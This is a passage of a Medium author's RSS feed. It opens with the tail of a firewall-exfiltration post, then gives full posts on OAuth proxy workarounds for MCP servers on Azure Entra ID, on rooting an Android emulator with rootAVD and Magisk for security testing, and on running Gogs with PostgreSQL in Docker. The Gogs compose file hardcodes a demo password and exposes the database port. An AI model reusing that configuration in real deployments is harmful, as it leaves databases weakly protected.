designed.</p><p>You don’t fix this by distrusting your firewall. You fix it by understanding precisely what it guarantees, where its inspection model trades thoroughness for speed, and by placing additional controls around the data that can’t afford to leak even a few hundred bytes. Exfiltration defense isn’t about stopping the obvious channels, it’s about closing the seams between them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c97c6265951" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing the Agentic Revolution with OAuth]]></title>
            <link>https://medium.com/@yuvydarekar/securing-the-agentic-revolution-with-oauth-c99ed7089609?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c99ed7089609</guid>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[claude]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[model-context-protocol]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Sun, 03 May 2026 16:35:34 GMT</pubDate>
            <atom:updated>2026-05-03T17:06:52.651Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*u9osuIsn4iG_JUqeqnpWzA.png" /></figure><blockquote>As organisations race to build AI agents and MCP servers, authentication and authorisation have become the most underrated engineering challenge.</blockquote><h4>Rapid Agentic Adaptation</h4><p>There is a quiet infrastructure revolution happening inside companies right now. It does not look like a product launch. It looks like a Slack message that says: <em>“Hey, can we give the AI agent access to Jira?”</em> Then BitBucket. Then the production database.</p><p>That is how it starts.</p><p>The <strong>Model Context Protocol (MCP)</strong>, introduced by Anthropic and rapidly adopted across the AI ecosystem, has become the connective tissue of the agentic era. It gives AI Models like Claude a standardised way to reach out and use tools; search a codebase, query a database, send a Slack message, file a support ticket. What took months of custom integration work now takes an afternoon.</p><p>The result is that organisations are building MCP servers at a pace that would make most security teams uncomfortable. And the uncomfortable truth is that most of them are not thinking carefully enough about <strong>who is allowed in, and what they are allowed to do once they get there</strong>.</p><h4>Authentication vs. Authorisation: Why Both Matter</h4><p>These two words are often used interchangeably, but they describe fundamentally different things. In an MCP-server architecture, both layers are essential.</p><p>Without <strong>authentication</strong>, any client can connect to your MCP server and invoke your tools as an anonymous caller.</p><p>Without <strong>authorisation</strong>, an authenticated user with read-only intent could accidentally, or maliciously invoke a destructive write operation. The two concerns work in tandem: authentication establishes identity; authorisation enforces what that identity is permitted to do.</p><p>For enterprise deployments, authorisation is typically implemented using the claims embedded in the identity token. When a user authenticates via <em>Azure Entra ID</em>, the resulting JWT contains claims like their department, their assigned roles, and their group memberships. Your MCP server can inspect these claims at the tool level: <em>this user is in the </em><em>read-only group, so the </em><em>delete_record tool should not even appear in their tool list.</em> This is not theoretical, frameworks like FastMCP already support middleware-based tool filtering driven directly from JWT role claims.</p><p>The point is simple: building an MCP server without thinking about both layers is like installing a front door without a lock.</p><h4>Lack of traditional support</h4><p>Claude Desktop, the primary interface through which many users interact with MCP tools today, currently does NOT support the traditional method of client app registration. In a typical setup, this would involve pre-registering an application with an identity provider (such as Azure AD), configuring credentials, and using those fixed client details for authentication flows.</p><p>Instead, Claude Desktop requires something called <strong>Dynamic Client Registration</strong> (DCR) to authenticate with a remote MCP server. Understanding why this is a problem requires a brief detour into what DCR actually is.</p><h4>What Is Dynamic Client Registration?</h4><p>In classic OAuth, before an application can request access tokens from an authorisation server, it must be manually registered in that server’s admin console. A developer goes into the dashboard, or the Azure Portal, fills out a form, gets a client_id, and hardcodes it into their application. This works fine for a stable set of long-lived applications.</p><p>But MCP clients in many cases are not stable set of long-lived applications. They include IDE plugins, desktop tools, automation runners, and short-lived AI agents that can spin up on demand. Pre-registering every possible client is impractical at this scale.</p><blockquote>Dynamic Client Registration — standardised in RFC 7591 — solves this by allowing OAuth clients to register themselves programmatically, at runtime, without any prior manual setup.</blockquote><p>The client sends a POST request to the authorisation server&#39;s registration endpoint, provides its metadata — redirect URIs, grant types, application name — and receives a freshly minted client_id in response. From that point on, it can run a standard OAuth flow exactly like any pre-registered app.</p><blockquote>The MCP spec recommends DCR so that MCP clients can automatically register with any new server they encounter, removing the need for users to manually obtain and enter client_id values.</blockquote><p>When Claude Desktop connects to a new MCP server, it discovers the server’s authorisation requirements, registers itself dynamically, completes the OAuth flow, and stores the resulting token — all without the user ever touching a developer console.</p><p>This is elegant in theory. <strong>In practice, it runs directly into a wall for a significant portion of enterprise identity infrastructure.</strong></p><h4>Dynamic Client Registration (DCR) Support</h4><p>Not all identity providers are equal when it comes to DCR support. Here is where things stand:</p><p><strong>Providers that support DCR natively:</strong></p><ul><li><strong>Keycloak — </strong>Open source IAM solution</li><li><strong>Auth0 — </strong>ID-SaaS Platform owned by Okta</li><li><strong>WorkOS AuthKit</strong> — DCR-native, increasingly popular for developer-facing MCP deployments</li><li><strong>ForgeRock / OpenAM</strong> — Enterprise support for DCR</li></ul><p><strong>Providers that do not support DCR:</strong></p><ul><li><strong>Microsoft Azure Entra ID (formerly Azure AD)</strong></li><li><strong>AWS Cognito</strong></li><li><strong>Google Identity Platform</strong></li></ul><p>The significance of the Azure gap cannot be overstated. Entra ID is the dominant enterprise identity provider. A very large proportion of the organisations now building MCP agents are running on Microsoft’s identity infrastructure.</p><blockquote>For MCP deployments in organisations running on Entra, which is a lot of enterprises — this creates a direct conflict with the MCP spec.</blockquote><h4>The Workarounds</h4><p>If your identity provider does not support DCR, you have several options. None of them are perfect, but some are significantly cleaner than others.</p><p><strong>The OAuth Proxy Pattern</strong></p><p>The most architecturally sound approach is to place a thin proxy layer between Claude Desktop and your identity provider. Your MCP server acts as an OAuth authorisation server to Claude — exposing all the endpoints Claude expects, including /register — while itself being a standard OAuth client to your real identity provider behind the scenes.</p><p>When Claude calls /register, your proxy returns your pre-registered client_id from Azure, without Azure ever knowing DCR was involved. When Claude initiates the authorisation flow, your proxy redirects to Azure AD&#39;s real login page. When Azure returns an auth code, your proxy exchanges it for tokens and issues its own JWT back to Claude.</p><p>From Claude’s perspective, it registered dynamically with a DCR-compliant server. From Azure’s perspective, a known, pre-registered application completed a standard OAuth flow. Both sides are happy.</p><p>This pattern requires you to manage the callback URL forwarding, the token exchange, and the session state between Claude and Azure — but it is a well-understood pattern, and several frameworks now implement it out of the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-9gIARyIfgaD9JuB7iMbg.png" /></figure><p><strong>Option 2: Azure API Management as an OAuth Gateway</strong></p><p>Microsoft’s own recommended approach for enterprise MCP deployments is to front your MCP server with <strong>Azure API Management (APIM)</strong>. APIM acts as the OAuth 2.0 gateway, handling the authentication handshake with Entra ID and issuing its own session-specific tokens to Claude. Your MCP server only ever sees APIM-issued tokens, keeping the Entra integration entirely on the gateway side.</p><p>This is a production-grade architecture that scales cleanly with existing Azure infrastructure — but it introduces APIM as a dependency, which is a significant addition for teams that do not already use it.</p><h4>Frameworks That Handle This For You</h4><p>The good news is that the developer community has moved quickly to abstract these patterns. Several frameworks now implement the OAuth proxy workaround natively, so you do not have to build it from scratch.</p><p><strong>FastMCP</strong></p><p>FastMCP is the standout framework in this space. The FastMCP OAuth Proxy enables MCP servers to authenticate with traditional OAuth providers that don’t support DCR. It acts as a transparent intermediary, presenting a DCR-compliant interface to MCP clients while managing pre-registered credentials with upstream providers.</p><p>FastMCP’s proxy implements the full dual-PKCE flow: it maintains separate PKCE parameters for the Claude-to-proxy leg and the proxy-to-Azure leg, ensuring end-to-end security is preserved even though a proxy sits in the middle. It also handles token storage, session management, and a consent screen to prevent confused-deputy attacks.</p><blockquote>When FastMCP shipped its OAuth proxy in version 2.12, downloads jumped from 200,000 to a peak of 1.25 million per day — a signal of just how acutely the developer community felt this pain.</blockquote><p>FastMCP provides an AzureProvider class that wraps all of this, so integrating with Entra ID becomes a few lines of configuration:</p><pre>from fastmcp import FastMCP<br>from fastmcp.server.auth import AzureProvider<br><br>auth = AzureProvider(<br>    client_id=os.environ[&quot;ENTRA_CLIENT_ID&quot;],<br>    client_secret=os.environ[&quot;ENTRA_CLIENT_SECRET&quot;],<br>    tenant_id=os.environ[&quot;AZURE_TENANT_ID&quot;],<br>    base_url=&quot;https://your-mcp-server.com&quot;,<br>    required_scopes=[&quot;mcp-access&quot;],<br>)<br><br>mcp = FastMCP(&quot;My Agent&quot;, auth=auth)</pre><p>FastMCP also supports middleware-based RBAC, so you can filter tool visibility based on roles extracted from the Azure JWT — a clean implementation of the authorisation layer discussed earlier.</p><p><strong>mcp-proxy</strong></p><p>For teams not using FastMCP, mcp-proxy (a standalone tool in the MCP ecosystem) can sit in front of any MCP server and handle the OAuth proxy pattern without requiring a specific framework. It is more opinionated but useful for wrapping existing servers.</p><p><strong>Obot</strong></p><p>Obot is an enterprise MCP gateway that goes further — it provides a DCR-capable control plane that sits in front of multiple MCP servers, managing the Entra app registrations centrally. All clients connect to the DCR endpoint on the control plane. The control plane manages the static Entra configuration per server, handled once. When a new MCP server gets added, you update the control plane, not every client.</p><h4>The Bigger Picture: Security in the Agentic Era</h4><p>The DCR compatibility gap is a concrete, solvable engineering problem. But it is a symptom of a deeper challenge: the security model for agentic AI is still being figured out in real time.</p><p>A few principles are worth internalising as you build:</p><p><strong>Least privilege is non-negotiable.</strong> An agent should have access to exactly the tools and data it needs to complete its task — nothing more. This means per-user, per-role tool filtering at the MCP server level, not just at the network perimeter.</p><p><strong>Every tool call is an auditable event.</strong> The JWT your server validates on each request contains the user’s identity, their roles, and their tenant. Log it. Trace it. In regulated industries, this is not optional.</p><p><strong>Authentication is not a one-time concern.</strong> Tokens expire. Refresh tokens can be revoked. Your server needs to handle 401 responses gracefully and re-trigger the auth flow when credentials become stale.</p><p><strong>The spec is still evolving.</strong> The MCP authorisation specification has already gone through several significant updates in 2025 alone, including the introduction of <strong>Client ID Metadata Documents (CIMD)</strong> as an alternative to DCR.</p><h4>Closing Thoughts</h4><p>The agent revolution is not coming. It is already here, running in Slack channels and IDE plugins and internal tooling at thousands of companies right now. The organisations that will come out ahead are not just the ones that move fastest — they are the ones that build the authentication and authorisation foundations correctly from the start.</p><p>An MCP server without proper auth is not just a security liability. It is a trust liability. If an agent acts on behalf of a user who did not actually authorise that action, the consequences extend far beyond a data breach. They erode the confidence that makes autonomous agents useful in the first place.</p><p>The tools exist. The patterns are established. The frameworks are production-ready.</p><p>There is no good reason to build a front door without a lock.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c99ed7089609" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to setup a rooted Android Emulator, the last guide you’ll ever need!]]></title>
            <link>https://medium.com/@yuvydarekar/how-to-setup-a-rooted-android-emulator-the-last-guide-youll-ever-need-ba0775a200e7?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba0775a200e7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[how-to-root-android]]></category>
            <category><![CDATA[root-android-phone]]></category>
            <category><![CDATA[android-emulator]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 17:42:37 GMT</pubDate>
            <atom:updated>2025-08-19T17:55:27.100Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*OuzteytloeMi3Dxy5mUJfA.png" /></figure><h3>Introduction</h3><p>If you’ve ever tried setting up a rooted Android emulator for security testing, you’ve probably noticed one thing: the guides are all over the place. Some suggest installing Android Studio, others skip over important steps, and almost all of them leave you jumping between tabs, piecing together fragments of information.</p><p>The problem? Android Studio is heavy and bloated for what we need. For mobile security testing, penetration testing, or simple debugging, all we really want is a lightweight rooted emulator — without the unnecessary overhead.</p><p>That’s exactly what this guide is about. A start-to-finish walkthrough that trims the fat and gets you up and running with a rooted Android emulator using only the <strong>Android SDK tools</strong>. By the end, you’ll have a fully functional rooted emulator — no Studio, no guesswork, and no half-baked instructions.</p><h3>Prerequisites</h3><p>There are none! I will help you with a complete setup, just have a working computer.</p><h3>Lets Begin!</h3><p><strong>Step 1: Installing Java</strong></p><p>If you already don’t have Java installed you can download an appropriate java package or installer from the <a href="https://www.oracle.com/java/technologies/downloads/">Official Oracle website</a>.</p><p><strong>Step 2: Installing Command Line Tools</strong></p><ol><li>Go to Android Studio Command Line Tools only page and download the appropriate package based on your OS.</li><li>Extract the contents of the zip, inside the cmdline-tools folder create another folder called latest, and move all the actuall content in the cmdline-tools folder into the latest folder.</li><li>Now move the cmdline-tools folder to the location depending on your OS.</li></ol><ul><li><strong>MacOS:</strong> <em>/Users/username/Library/Android/sdk</em></li><li><strong>Windows:</strong> <em>C:\Users\username\AppData\Local\Android\Sdk</em></li><li><strong>Linux:</strong> <em>/home/username/Android/Sdk</em></li></ul><p>Your final folder structure should look like: <em>Android/sdk/cmdline-tools/latest/bin</em></p><p><strong>Step 4: Adding Environment Variables</strong></p><p>We need to add Environment Variables so that we can run the command line tools from everywhere in the system.</p><p><strong>For MacOS:</strong></p><ol><li>Add the following content in ~/.zshrc file.</li></ol><pre>export ANDROID_SDK_ROOT=&quot;/home/username/Android/Sdk&quot;<br>export ANDROID_HOME=&quot;/home/username/Android/Sdk&quot;  # Deprecated, but still used by some tools<br>export PATH=&quot;$ANDROID_HOME/cmdline-tools/latest/bin/:$PATH&quot;<br>export PATH=&quot;$ANDROID_HOME/emulator/:$PATH&quot;<br>export PATH=&quot;$ANDROID_HOME/platform-tools/:$PATH&quot;</pre><p>2. Run source ~/.zshrc as you have updated the file.</p><p><strong>For Windows:</strong></p><ol><li>Open System Properties → Environment Variables.</li><li>Under User variables, click New:</li></ol><ul><li>ANDROID_SDK_ROOT C:\Users\username\AppData\Local\Android\Sdk</li><li>ANDROID_HOME C:\Users\username\AppData\Local\Android\Sdk</li></ul><p>3. Under System variables, find Path → Click Edit → Add:</p><pre>C:\Users\username\AppData\Local\Android\Sdk\cmdline-tools\latest\bin<br>C:\Users\username\AppData\Local\Android\Sdk\emulator<br>C:\Users\username\AppData\Local\Android\Sdk\platform-tools</pre><p>4. Click Ok to save and apply. You might need to restart your terminal to apply the changes.</p><p><strong>For Linux:</strong></p><ol><li>Add the following content in ~/.zshrc or ~/.bashrc file depending on the terminal you use.</li></ol><pre>export ANDROID_SDK_ROOT=&quot;/home/username/Android/Sdk&quot;<br>export ANDROID_HOME=&quot;/home/username/Android/Sdk&quot;  # Deprecated, but still used by some tools<br>export PATH=&quot;$ANDROID_HOME/cmdline-tools/latest/bin/:$PATH&quot;<br>export PATH=&quot;$ANDROID_HOME/emulator/:$PATH&quot;<br>export PATH=&quot;$ANDROID_HOME/platform-tools/:$PATH&quot;</pre><p>2. Run source ~/.zshrc source ~/.bashrc as you have updated the file.</p><p><strong>Step 3: Downloading Essential Packages</strong></p><p>Now, we will download <em>platform-tools</em> and <em>emulator</em> packages. <br>platform-tools has some tools to communicate with Android devices when you plug them into your computer. emulator is the Android emulator.<br>We will use sdkmanager or sdkmanager.bat which are placed at cmdline-tools/bin to install them.</p><ol><li>Run sdkmanager platform-tools emulator to install platform-tools and emulator. Read and accept licenses.</li><li>Run sdkmanager &quot;system-images;android-29:google_apis_playstore;x86&quot; to download the android image we will require later to create the emulator.</li></ol><p><strong>Step 4: Create AVD Device</strong></p><ol><li>Run the below command to create the AVD Device.</li></ol><pre>avdmanager create avd --name Pixel6 --package &quot;system-images;android-29;google_apis_playstore;x86&quot; -d &quot;pixel_6a&quot;</pre><p>2. Verify if the AVD Device is working by running this command.</p><pre>emulator -avd Pixel6</pre><p><strong>Step 5: Using rootAVD</strong></p><p>As the name suggests rootAVD is a script used to root AVD devices.</p><ol><li>Download rootAVD from their <a href="https://github.com/newbit1/rootAVD">Github repository</a>.</li><li>Open a terminal inside the rootAVD folder.</li><li>Run the following command to find your <em>ramdisk.img</em></li></ol><p>For MacOs and Linux:</p><pre>./rootAVD.sh ListAllAVDs</pre><p>For Windows:</p><pre>rootAVD.bat ListAllAVDs</pre><p>3. Copy the one that says <em>ramdisk.img</em> in the end and run it. For example:</p><p>For MacOs and Linux:</p><pre>./rootAVD.sh system-images/android-36/google_apis_playstore/x86_64/ramdisk.img</pre><p>For Windows:</p><pre>rootAVD.bat system-images\android-36\google_apis_playstore\x86_64\ramdisk.img</pre><p>At a point, it will prompt to select <strong>Magisk</strong> channel — Stable, Canary or Alpha. Wait to auto proceed with Stable version of the Magisk.</p><p>Once the patching finishes, <strong>Emulator will shut down automatically</strong>.</p><p><strong>Step 6: Running the Emulator</strong></p><ol><li>Run the emulator using the following command, you can run it with the -no-snapshot-load to have a fresh device run.</li></ol><pre>emulator -avd Pixel6 -no-snapshot-load</pre><p>2. Once running on a different terminal run the following command to connect to it via command line.</p><pre>adb shell</pre><p>3. Run the following command to change to superuser</p><pre>su</pre><p>4. Verify if you are <em>root </em>by running the following command, it should output as <em>root</em></p><pre>whoami</pre><h3>Conclusion</h3><p>Congratulations on creating a rooted emulator using Android SDK. Most tutorials for setting up a rooted emulator make the process harder than it needs to be. By stripping away the unnecessary tools and focusing only on what matters, we can get a clean, efficient, and fully rooted environment without the extra bloat.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba0775a200e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-Host Your Own Git Server: Running Gogs on Docker with PostgreSQL]]></title>
            <link>https://medium.com/@yuvydarekar/self-host-your-own-git-server-running-gogs-on-docker-with-postgresql-b81f6ff4ae20?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b81f6ff4ae20</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Tue, 22 Apr 2025 12:57:52 GMT</pubDate>
            <atom:updated>2025-04-22T12:57:52.128Z</atom:updated>
            <content:encoded><![CDATA[<p>Gogs is a lightweight, painless, self-hosted Git service — easy to set up and blazing fast to run.In this guide, I’ll walk you through deploying <strong>Gogs</strong> with <strong>PostgreSQL</strong> using <strong>Docker Compose.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*_PTC0FOKDID7jBOr.png" /></figure><h3>Why Gogs?</h3><p>Gogs (Go Git Service) is written in Go and is extremely efficient. It’s a great alternative if you want a simple GitHub/GitLab-like interface but without the overhead. Features include:</p><ul><li>Git repository hosting with HTTP/HTTPS + SSH support</li><li>Lightweight and fast (can run on a Raspberry Pi!)</li><li>Easy user management</li><li>Webhooks and API access</li></ul><h3>Creating the docker compose</h3><p>Create docker-compose.yml</p><p>For Windows:</p><pre>version: &#39;3.8&#39;<br><br>services:<br>  postgres:<br>    image: postgres<br>    container_name: postgres-server<br>    environment:<br>      POSTGRES_PASSWORD: mysecret<br>      POSTGRES_USER: gogs<br>      POSTGRES_DB: gogsdb<br>    ports:<br>      - &quot;5432:5432&quot;<br>    volumes:<br>      - &quot;D:/gogs/postgresdata:/var/lib/postgresql/data&quot;<br><br>  gogs:<br>    image: gogs/gogs<br>    container_name: gogs<br>    ports:<br>      - &quot;10022:22&quot;<br>      - &quot;10880:3000&quot;<br>    volumes:<br>      - &quot;D:/gogs/gogsdata:/data&quot;<br>    depends_on:<br>      - postgres</pre><p>For Linux:</p><pre>version: &#39;3.8&#39;<br><br>services:<br>  postgres:<br>    image: postgres<br>    container_name: postgres-server<br>    environment:<br>      POSTGRES_PASSWORD: mysecret<br>      POSTGRES_USER: gogs<br>      POSTGRES_DB: gogsdb<br>    ports:<br>      - &quot;5432:5432&quot;<br>    volumes:<br>      - postgres-data:/var/lib/postgresql/data<br><br>  gogs:<br>    image: gogs/gogs<br>    container_name: gogs<br>    ports:<br>      - &quot;10022:22&quot;<br>      - &quot;10880:3000&quot;<br>    volumes:<br>      - /var/gogs:/data<br>    depends_on:<br>      - postgres</pre><h3>Running the Setup</h3><p>Open a terminal in the same directory</p><p>Run command docker-compose up -d</p><p>Docker will pull the required images, create containers, and link them together. In a few moments, Gogs should be running and ready!</p><h3>Accessing Gogs:</h3><p>Once the containers are running visit the following url on a browser</p><blockquote>localhost:10880</blockquote><p>You will be greeted by the Gogs installation screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBVKRpaLSBLIlqsjnLH9SQ.png" /></figure><p>Enter the following details on that page:</p><ul><li><strong>Database Type</strong>: PostgreSQL</li><li><strong>Host</strong>: host.docker.internal</li><li><strong>User</strong>: gogs</li><li><strong>Password</strong>: mysecret</li><li><strong>Database Name</strong>: gogsdb</li></ul><p>Create an Administrator account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6OJlfn9kaGTj0SMb0IjEPA.png" /></figure><p>Next click on Install Gogs and you should be redirected to the Gogs Dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UjQJLAckwTVczpdyOtIjWw.png" /></figure><p>In case you are getting redirected to localhost:3000, revisit localhost:10880 and you should be able to view the dasboard.</p><h3>Conclusion</h3><p>Setting up Gogs with Docker is super straightforward and gives you a lightweight, blazing-fast Git service. Whether you’re a solo developer or a small team, this is a solid tool to add to your devops toolkit.</p><p>If you found this guide helpful, consider sharing it or dropping a comment!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b81f6ff4ae20" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>